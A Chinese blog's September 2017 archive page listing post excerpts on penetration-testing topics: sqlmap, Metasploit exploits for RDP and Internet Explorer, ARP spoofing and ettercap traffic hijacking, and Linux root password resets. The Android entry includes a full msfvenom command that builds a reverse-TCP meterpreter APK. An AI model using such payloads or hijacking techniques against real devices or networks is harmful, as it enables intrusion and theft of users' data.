09 2017 档案

Web安全
摘要：web安全-- 越权操作 web安全-- 越权操作 1.1 漏洞描述 越权漏洞是比较常见的漏洞类型，越权漏洞可以理解为，一个正常的用户A通常只能够对自己的一些信息进行增删改查，但是由于程序员的一时疏忽未对信息进行增删改查的时候没有进行一个判断，判断所需要操作的信息是否属于对应的用户，可以导致用户A可 阅读全文
posted @ 2017-09-26 16:34 wjvzbr 阅读(251) 评论(0) 推荐(0)
SQL注入之Sqlmap使用
摘要：我们都知道，对于网络渗透最重要的一步是要拿到后台数据库管理员的密码与用户名，那么怎么得到这个用户名和密码呢？就要用到今天所说的Sqlmap，它不仅适用于内网环境，在外网环境也是非常受欢迎的，并且在Kali Linux里边显得尤为重要，它所到之处几乎是“寸草不生”，那么接下来我就简单介绍下Sqlmap 阅读全文
posted @ 2017-09-21 23:43 wjvzbr 阅读(664) 评论(0) 推荐(0)
利用Metasploit攻击Android
摘要：首先我在Kali下生成一个Android的应用程序，即apk格式的文件，用到的命令是： msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip LPORT=监听端口 R > /root/rb.apk 注释：-p：指的是在本次环境中攻击所使用的pa 阅读全文
posted @ 2017-09-21 16:46 wjvzbr 阅读(1009) 评论(0) 推荐(0)
MSF MS12-020RDP漏洞攻击
摘要：Metasploit利用远程桌面协议RDP拒绝访问漏洞(MS12-020) 可以看到3389服务以及启动： 则可以看见主机已经遭受了溢出攻击而蓝屏重启： 而在监听端可以看出整个攻击的DOS全过程： 阅读全文
posted @ 2017-09-21 01:16 wjvzbr 阅读(1218) 评论(0) 推荐(0)
MSF MS11-050攻击实践及内存保护技术
摘要：内存攻击指的是攻击者利用软件安全漏洞，构造恶意输入导致软件在处理输入数据时出现非预期错误，将输入数据写入内存中的某些特定敏感位置，从而劫持软件控制流，转而执行外部输入的指令代码，造成目标系统被获取远程控制或被拒绝服务。内存攻击表面原因是软件编写错误，注入过滤输入的条件设置缺陷、变量类型转换错误等，但 阅读全文
posted @ 2017-09-21 00:58 wjvzbr 阅读(1062) 评论(0) 推荐(0)
Kali下的内网劫持（三）
摘要：前面两种说的是在Kali下的ettercap工具通过配合driftnet和urlsnarf进行数据捕获，接下来我要说的是利用Kali下的另外一种抓包分析工具——wireshark来进行捕获数据： 首先还是在主机上监听： 接下来启动wireshark，并且选取抓包网卡eth0：则jiexialjius 阅读全文
posted @ 2017-09-19 21:01 wjvzbr 阅读(699) 评论(0) 推荐(0)
Kali下的内网劫持（四）
摘要：在前面我都演示的是在Kali下用命令行的形式将在目标主机上操作的用户的信息捕获的过程，那么接下来我将演示在Kali中用图形界面的ettercap对目标主机的用户进行会话劫持： 首先启动图形界面的ettercap： 接下来将嗅探方式修改为同意嗅探，且嗅探网卡为eth0： 接下来进行在同一局域网内的主机 阅读全文
posted @ 2017-09-19 20:51 wjvzbr 阅读(1347) 评论(0) 推荐(0)
Kali下的内网劫持（二）
摘要：前一小节说到在Kali下可以进行捕获客户端的图片，那么同样的，客户端访问的网页也是可以捕获的： 、 以上可以看出监听完毕，那么在被监听端访问阿里云的一个网站： 在监听端用urlsnart这个工具进行捕获，可以看出已经捕获到了： 阅读全文
posted @ 2017-09-19 20:24 wjvzbr 阅读(463) 评论(0) 推荐(0)
Kali下的内网劫持（一）
摘要：ettercap利用计算机在局域网内进行通信的ARP协议的缺陷进行攻击，在目标主机与服务器之间充当中间人，嗅探两者之间的数据流量，从中窃取用户的数据信息，那么接下来我就给大家演示一下客户端的图片是怎么被劫持的： 首先启动ettrcap这个工具，在这里-T表示文本模式；-q表示安静模式，抓到数据包之后 阅读全文
posted @ 2017-09-19 20:16 wjvzbr 阅读(2582) 评论(0) 推荐(0)
PHP中is_numeric函数十六进制绕过0day
摘要：PHP中is_numeric函数十六进制绕过0day 0×00 简介国内一部分CMS程序里面有用到过is_numberic函数，我们先看看这个函数的结构bool is_numeric ( mixed $var )如果 var 是数字和数字字符串则返回 TRUE，否则返回 FALSE。 0×01 函数 阅读全文
posted @ 2017-09-17 22:06 wjvzbr 阅读(429) 评论(0) 推荐(0)
Linux之RHEL7root密码破解（三）
摘要：Linux系列root密码破解第三种方式，利用修改boot分区里的开机启动顺序来修改密码，即我们进入BIOS，修改boot启动顺序为CD-ROM： 接下来按F10保存退出 选择Troubleshooting： 以上是说接下来的修复会将尝试寻找Linux的安装程序以及将它挂载到/mnt/sysimag 阅读全文
posted @ 2017-09-17 21:31 wjvzbr 阅读(328) 评论(0) 推荐(0)
Linux之RHEL7root密码破解（二）
摘要：破解Linux root密码的第二种方法，如下： 首先开机，进入启动界面，接着找到如下图所示的代码字段，将ro改成rw init=/sysroot/bin/sh ，如下图： 之后按“Ctrl+X”之后，进入如下模式，则切换到根目录： 接下来就是修改密码了： 密码修改成功之后，就下来就是退出重启： 最 阅读全文
posted @ 2017-09-17 20:45 wjvzbr 阅读(375) 评论(0) 推荐(0)
Linux之RHEL7root密码破解（一）
摘要：很多时候我们都会有这样的经历，各种密码，各种复杂，忘记了怎么办？？？Windows的有关密码忘记了是可以通过相关的邮箱啊手机号等等是可以 找回的，那么Linux的root密码忘记了，该怎么办呢？那么接下来我就为大家演示怎么破解Linux的root密码。 首先加电启动Linux： 接着按字母‘e’进入 阅读全文
posted @ 2017-09-17 17:18 wjvzbr 阅读(307) 评论(0) 推荐(0)
Kali下进行局域网断网攻击
摘要：今天我就来演示一下在kali下的局域网断网攻击，即ARP地址欺骗，下图所要用到的arp地址欺骗状态图： 则： 第一步：假设主机A访问某网站，那么要告知某网站我的IP和MAC地址，但这是以广播的方式告知的； 第二步，由于是广播方式告知，猥琐的B主机也知道了A的IP和Mac地址，于是猥琐的B主机把自己伪 阅读全文
posted @ 2017-09-17 16:04 wjvzbr 阅读(5436) 评论(0) 推荐(0)